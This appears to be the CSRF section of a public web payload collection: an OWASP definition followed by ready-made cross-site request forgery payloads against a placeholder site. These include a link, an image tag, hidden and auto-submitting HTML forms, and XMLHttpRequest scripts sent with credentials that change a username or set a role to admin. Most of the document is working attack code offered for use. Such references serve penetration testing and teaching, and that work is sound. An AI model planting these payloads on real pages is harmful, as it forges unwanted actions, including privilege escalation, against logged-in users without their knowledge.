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# Cross-Site Request Forgery
> Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
## Summary
* [Methodology ](#methodology )
* [Payloads ](#payloads )
## Methodology
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![CSRF_cheatsheet ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20injection/Images/CSRF-CheatSheet.png?raw=true )
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## Payloads
### HTML GET – Requiring User Interaction for Proof-of-Concept
```html
< a href = "http://www.example.com/api/setusername?username=CSRFd" > Click Me< / a >
```
### HTML GET (No User Interaction)
```html
< img src = "http://www.example.com/api/setusername?username=CSRFd" >
```
### HTML POST – Requiring User Interaction for Proof-of-Concept
```html
< form action = "http://www.example.com/api/setusername" enctype = "text/plain" method = "POST" >
< input name = "username" type = "hidden" value = "CSRFd" / >
< input type = "submit" value = "Submit Request" / >
< / form >
```
### HTML POST (AutoSubmit – No User Interaction)
```html
< form id = "autosubmit" action = "http://www.example.com/api/setusername" enctype = "text/plain" method = "POST" & >
< input name = "username" type = "hidden" value = "CSRFd" / >
< input type = "submit" value = "Submit Request" / >
< / form >
< script >
document.getElementById("autosubmit").submit();
< / script >
```
### JSON GET – Simple Request
```html
< script >
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
< / script >
```
### JSON POST – Simple Request
```html
< script >
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
< / script >
```
### JSON POST – Complex Request
```html
< script >
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
< / script >
```
## References
- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016 ](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/ )
- [Cross-Site Request Forgery (CSRF) - OWASP ](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF ))